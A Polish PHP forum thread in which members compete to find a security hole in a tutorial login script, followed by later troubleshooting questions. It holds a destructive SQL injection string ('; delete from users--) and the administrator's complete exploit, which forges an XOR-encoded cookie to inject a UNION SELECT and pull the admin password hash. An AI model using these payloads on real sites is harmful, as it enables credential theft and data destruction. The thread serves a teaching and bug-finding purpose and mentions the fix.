PHP: strefaphp.net
PHP: strefaphp.net



 
Czy odwiedziłeś już te strony? -
dodał: Vengeance

Temat: level9 + konkurs
Autor
Data: 05-09-2004 19:41
Vengeance
administrator

dołączył:
02-06-2004 
W artykule autorstwa ustka:
http://strefaphp.net/index.php?page=artykuly&what=view&id=36

jest pewien bład. Zadanie polega na tym aby ten błąd odnaleść i dogłębnie go opisać.

Jako, że budżet mamy słaby do wygrania jest alias emailowy w domenie @strefaphp.net

Życze powodzenia.

Aha odpowiedzi dajemy tutaj. Radze pisać nawet gdy ktoś już dał 'niby poprawną' odpowiedź' gdyż moze być nie poprawna ;] A kto pierwszy ten lepszy.

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 05-09-2004 20:34
UsTeK

dołączył:
19-06-2004 
A ja też moge brać udział ???

A może dostane alias za free? =)


btw. miałeś o błedzie nikomu nie mówić... damn u

Inteligencja - umiejętne wykorzystanie nabytej wiedzy. 
Cytuj   Profil Email Strona www Komunikator
Autor
Data: 05-09-2004 20:54
Vengeance
administrator

dołączył:
02-06-2004 
ustek spox bedziesz mial ;] podaj na gg na jaki dac przekierowanie ;]

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 06-09-2004 18:52
mynio

dołączył:
13-07-2004 
witam,
wydaje mi się, że błąd leży w zapytaniu
$query = mysql_query("SELECT * FROM `users` WHERE `user`='".$login."' AND `pass`='".$haslo."';");
z tego co narazie zdążyłem się zorientować można tu zastosować prosty atak "sql injection" gdzie wystarczy podać
login : '; delete from users--
hasło: //puste

Oto wyjaśnienie oznaczeń:

' zakończenie pojedynczego cudzysłowu, w który są ujmowane dane wprowadzane z wewnątrz;
; Zakończenie zapytania i rozpoczęcie nowego;
-- Początek komentarza - w ten sposób usuwa się dalszą część kodu, która nie jest intruzowi potrzebna, a może wywołać błąd składniowy i uniemożliwić wykonanie ataku.

Po przetworzeniu kodu i zinterpretowaniu powyższych znaków, otrzymujemy dwa zapytania:

SELECT id FROM users WHERE username = ''; delete from users

W rezultacie zawartość tablicy users zostanie usunięta, uniemożliwiając innym użytkownikom dostęp do systemu. W podobny sposób można doklejać dowolne zapytania, o ile pozwala na to API i składnia bazy danych.

część odpowiedzi pochodzi z arta o sql injection niestety nie pamiętam źródła, jęsli się myle co jest możliwe, popraw mnie Vee! Jeśli mam racje to szczegułów radze poszukać w tym arcie gdzieś w necie, lub skontaktować się ze mną, mogę go przesłać
pzdr
 
Cytuj   Profil Email Komunikator
Autor
Data: 06-09-2004 19:29
Vengeance
administrator

dołączył:
02-06-2004 
zla odpowiedz ;]


Kod:


<?php
// ....
if(isset($_COOKIE["dane"])) {
   
$dane $_COOKIE["dane"]^$_CONFIG['kxc']; 
   
$login substr($dane032); 
   
$haslo substr($dane, -32);
}
// ....
if(isset($metod)) { 
   
$query mysql_query("SELECT * FROM `users` WHERE `user`='".$login."' AND `pass`='".$haslo."';");
?>



PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 07-09-2004 21:58
UsTeK

dołączył:
19-06-2004 
A ja tylko dodam dlaczego SQL Injection nie zadziała...


Kod:

//...
elseif(isset($_POST['login']) AND isset($_POST['haslo'])) { 
$login = md5(strtolower($_POST['login'])); 
$haslo = md5($_POST['haslo']);
//...



Vee chyba trzeba zwiekszyc nagrode, bo kurde sie chłopaki nie starają, Ty znalazłeś błęda w 2/3min ? może mniej ;p

// Edytowany 09-10-2004 13:25 przez DarkSpirit

Inteligencja - umiejętne wykorzystanie nabytej wiedzy. 
Cytuj   Profil Email Strona www Komunikator
Autor
Data: 13-09-2004 21:59
Vengeance
administrator

dołączył:
02-06-2004 
I jak nikt nie zna rozwiązania ? :)

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 13-09-2004 22:49
UsTeK

dołączył:
19-06-2004 

Vengeance napisał:
I jak nikt nie zna rozwiązania ? :)


Jeśli nikt nie zgadnie - to wygrywam ja, za perfidnie ukrytą looke - teraz np 40 osob wykozysta ten skrypt a ja bede mogl haselka sobie zabierac im ;)

Inteligencja - umiejętne wykorzystanie nabytej wiedzy. 
Cytuj   Profil Email Strona www Komunikator
Autor
Data: 13-09-2004 23:02
Vengeance
administrator

dołączył:
02-06-2004 
a ja zaraz zobacze czy moj plan wykorzystania w ogole zadziala ;] no i zweryfikuje domniemane bledy w twoim skrypcie ;]

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 14-09-2004 16:56
Vengeance
administrator

dołączył:
02-06-2004 
Nikt nie wygrał :/ Przykro mi. W takim razie ja wygrałem :P

O ile ze znalezieniem gdzie jest blad nie mialem problemow (3 minuty) to z jego wykorzystaniem juz troche ich bylo.
Oto moja wersja prawie uniwersalnego exploita na dziure w skrypcie ustka.

Dodam jeszcze tylko ze aby zabezpieczyc skrypt wystarczy zastosowac addslashes() dla loginu i hasla.


Kod:


<?php
##
##  Exploit do konkursu na strefaphp.net
##  @author Vengeance
##  @link http://strefaphp.net/index.php?page=forum&what=view_topic&t=87
##
##  Należy ustawić zmienne w czesci config i dwie stale QUERY i USERNAME
##
##  !! Nie gwarantuje pelnej uniwersalnosci. blad jest na tyle specyficzny
##     i trudny do wykorzystania ze nie wszedzie all dziala

## Config ##
$login 'Vengeance';
$pass 'ppp';
$host 'vee.no-ip.biz';
$logowanie '/ustek/logowanie.php';
$members '/ustek/members.php';
define('VARS''logowanie=k&login='.$login.'&haslo='.$pass.'&pamietaj=ok');

## Te Stale nalezy zedytowac wzgledem wlasnej ofiary.
## bardzo wazne jest pamietanie o ograniczeniu znakowym!
#### TO MUSI MIEC 32 ZNAKI
define('QUERY'"\n      users WHERE nick='adminek");
#### I TO TEZ!
define('USERNAME'"'UNION SELECT 0,0,0,pass FROM-- ");

## Pobieramy klucz xorujacy
$key get_xor_key($host$logowanie$login$pass);
## logujemy sie i pobieramy haslo roota
echo 'PASS Admina to: '.get_root_password($host$membersUSERNAMEQUERY$key);

function 
get_xor_key($host$url$username$password)
{
   if(!
$fp = @fsockopen($host80))
      die(
"Połączenie z serwerem  [false]\n");
   
$out "POST $url HTTP/1.0\r\n";
   
$out .= "Host: $host\r\n";
   
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
   
$out .= "Content-Length: ".strlen(VARS)."\r\n\r\n";
   
$out .= VARS."\r\n";
   
$out .= "Connection: Close\r\n\r\n";
   
fwrite($fp$out);
   while (!
feof($fp))
   {
      
$data .= fgets($fp128);
   }
   
fclose($fp);
   
preg_match("#Set-Cookie: dane=(.*);#"$data$matches);
   
$xors urldecode$matches[1] );
   return 
$xors md5(strtolower($username)).md5($password);
}

function 
get_root_password($host$url$username$password$key)
{
   
$spoof urlencode($username.$password^$key);
   if(!
$fp = @fsockopen($host80))
      die(
"Połączenie z serwerem  [false]\n");
   
$out "GET $url HTTP/1.0\r\n";
   
$out .= "Host: $host\r\n";
   
$out .= "Cookie: dane=".$spoof."\r\n";
   
$out .= "Connection: Close\r\n\r\n";
   
fwrite($fp$out);
   while (!
feof($fp))
   {
      
$data .= fgets($fp128);
   }
   
fclose($fp);
   
preg_match("#Twój nick to: (.{32})#"$data$matches);
   return 
$matches[1];
}
?>



// Edytowany 14-09-2004 17:02 przez Vengeance

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 25-09-2004 23:33
Ive

dołączył:
25-09-2004 
hm... to ja cie zszokuje! Bo masz w tym kursie jeszcze jeden błąd :D ale za to taki że skrypt nie odpali tylko wywali Parse error :D:

Kod:


<?php 
include('tajne/config.php'); 
/* Jeśli nie jesteśmy zalogowani, to musimy się pożegnać */ 
if(!login()) { 
$text 
Bardzo mi przykro, ale ten dział wymaga autoryzacji!<br> 
<br> 
(dla ciołków: Musisz się zalogować BARANIE!!!)<br> 
<br> 
<a href="logowanie.php">Logowanie</a>'

die(
$text); 

/* Jeśli się nie pożegnaliśmy, to znaczy, że jesteśmy zalogowani */ 

$text 
To jest ten super tajny i super ważny dział MEMBERS!<br> 
<br> 
Podoba Ci się???<br> 
<br> 
Mam lepsze nowiny, sesje nadal tutaj działają.<br> 
Chcesz dowodu?<br> 
Twój nick to: '
.$_SESSION['nick']; 
die(
text); 
?> 


powinno być w ostatniej linijce skryptu die($tresc) :PPPPP

// Edytowany 28-09-2004 16:11 przez DarkSpirit 
Cytuj   Profil Email 
Autor
Data: 25-09-2004 23:40
Vengeance
administrator

dołączył:
02-06-2004 
wow normalnie dzięki temu ktoś zdobędzie moje hasło admina :P

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 27-09-2004 19:06
UsTeK

dołączył:
19-06-2004 
kurde, faktycznie błąd, jak cholera.

Chyba konkurs uznamy za niewazny, bo w sumie jakby ktos przekopiowal skrypt to nic by z tego nie wyszlo.. :/


Cytat:
powinno być w ostatniej linijce skryptu die($tresc) :PPPPP


nie die($tresc); tylko die($text);

Inteligencja - umiejętne wykorzystanie nabytej wiedzy. 
Cytuj   Profil Email Strona www Komunikator
Autor
Data: 26-07-2005 11:03
sticker

dołączył:
26-07-2005 

UsTeK napisał:
A ja tylko dodam dlaczego SQL Injection nie zadziała...


Nie zadziała bo to baza mysql i za pomocą mysql_querry() można zadać tylko jedno zapytanie :)

btw czytam dalej posty :P

// Edytowany 26-07-2005 22:53 przez Vengeance 
Cytuj   Profil Email 
Autor
Data: 22-04-2006 02:40
Ciap-Ciak

dołączył:
22-04-2006 
Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane 
Cytuj   Profil Email Strona www Komunikator
Autor
Data: 25-06-2006 18:17
tomeak

dołączył:
25-06-2006 
Czy aby napewno to jest nadal bezpieczne? Dowiedziałem się ostatnio o czymś takim jak session hijacking...  
Cytuj   Profil Email Strona www 
Autor
Data: 26-06-2006 17:38
Vengeance
administrator

dołączył:
02-06-2004 
100% bezpieczne nic nigdy nie będzie kolego... niestety ;(

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 06-11-2006 20:05
djmisiek

dołączył:
06-11-2006 

Ciap-Ciak napisał:
Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane

Mam ten sam problem. W bazie mam 35 uzytkownikow i zaden login dobrze nie dziala. Mam server na nazwa.pl nie powinno byc problemow. Login oraz haslo jest w md5... a wtrakcie dzialania skryptu nie ma zadnych bledow... 
Cytuj   Profil Email 
Autor
Data: 07-02-2007 17:47
mumin

dołączył:
07-02-2007 

Ciap-Ciak napisał:
Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane


O ile się nie mylę, to wasz problem wynika z faktu, że w bazie przechowujecie login i hasło w postaci zwykłej czyli np.:

login: krzys
haslo: mojehaslo

, a nie jako hash (skrót) MD5, czyli np.:

login: 0cc175b9c0f1b6a831c399e269772661
haslo: 92eb5ffee6ae2fec3ad71c777531578f

 
Cytuj   Profil Email 
Autor
Data: 07-02-2007 17:53
mumin

dołączył:
07-02-2007 

Ciap-Ciak napisał:
Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane


O ile się nie mylę to twój problem wynika z faktu, że w bazie przechowujesz login i hasło użytkownika w postaci prostej, czyli np.:

login: krzys
haslo: mojehaslo

, a nie jako hash (sktót) z tych wartości przy zastosowaniu MD5, czyli np.:

login: 0cc175b9c0f1b6a831c399e269772661
haslo: 92eb5ffee6ae2fec3ad71c777531578f


 
Cytuj   Profil Email 
Autor
Data: 08-02-2007 23:16
rufusek377

dołączył:
06-02-2007 
Niestety to nie zadziałało  
Cytuj   Profil Email 
Autor
Data: 21-02-2007 18:46
skoti22

dołączył:
21-02-2007 
witam... mam problem.. z wylogowaniem.. nie moge sobie poradzic.. moglby ktos dac przyklad. z gory bardzo dziekuje 
Cytuj   Profil Email Komunikator
Autor
Data: 23-02-2007 13:17
Atverstyt

dołączył:
23-02-2007 
Mam dwa pytania.

Moje pierwsze pytanie to:
Czy skrypt z artykułu jest wreszcie w 100% dobry, czyli bez błędów czy jednak musze zmienić te błędy które podaliście na forum?

Drugie pytanie to:

Mam taki problem ... wstawiam ten sam skrypt na 2 różne strony. I jest tak że jak się zaloguje na jednej, to nie moge na drugiej się zalogować w tym samym czasie. Mam oczywiście w jednym:


Kod:


if(!isset($_SESSION['wydra'])) {
session_start();
$_SESSION['wydra'] = '';
}



a w drugim


Kod:


if(!isset($_SESSION['sesja'])) {
session_start();
$_SESSION['sesja'] = '';
}

 
Cytuj   Profil Email Strona www Komunikator
Autor
Data: 26-05-2007 00:50
pitiunited

dołączył:
26-05-2007 

djmisiek napisał:

Ciap-Ciak napisał:
Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane

Mam ten sam problem. W bazie mam 35 uzytkownikow i zaden login dobrze nie dziala. Mam server na nazwa.pl nie powinno byc problemow. Login oraz haslo jest w md5... a wtrakcie dzialania skryptu nie ma zadnych bledow...



witam,

problem ten sam, serwer także na nazwa.pl
Nie ma żadnych błędów więc ciężko określić co jest nie tak. Po prostu funkcję login() uznaje za false. Na serwerze ovh.org ten sam skrypt działa poprawnie...

Proszę o pomoc 
Cytuj   Profil Email 
Autor
Data: 28-05-2007 23:27
NoRiN

dołączył:
28-05-2007 
Witam.
Mam problem z wylogowaniem. Mógłby ktoś mi przybliżyć jak powinno to wyglądać?

Tu był opis ale mi uciekł :/ 
Cytuj   Profil Email Komunikator
Autor
Data: 30-01-2008 09:51
mad84

dołączył:
30-01-2008 
Myślę że błąd polega na tym że globalizujemy _Config w którym są hasła i loginy
Pozdrawiam Mentor

Mentor 
Cytuj   Profil Email Komunikator
Autor
Data: 30-01-2008 09:59
mad84

dołączył:
30-01-2008 
Jeszcze jeden błąd.. heh sieczka ;)

Przepisujemy dane do zmiennych $login $hasło, ale ich nie niszczymy co prawda zamknięte są w funkcji ale gdy będą globalne to problem:)

Kolejne niebezpieczne cookie ;)

To na tyle co zauważyłem w 15 min
Pozdrawiam

Mentor 
Cytuj   Profil Email Komunikator

 

Polecamy
PHP: strefaphp.net
wyślij email informacje forum download skrypty katalog kursy porady artykuły home współpraca reklama kontakt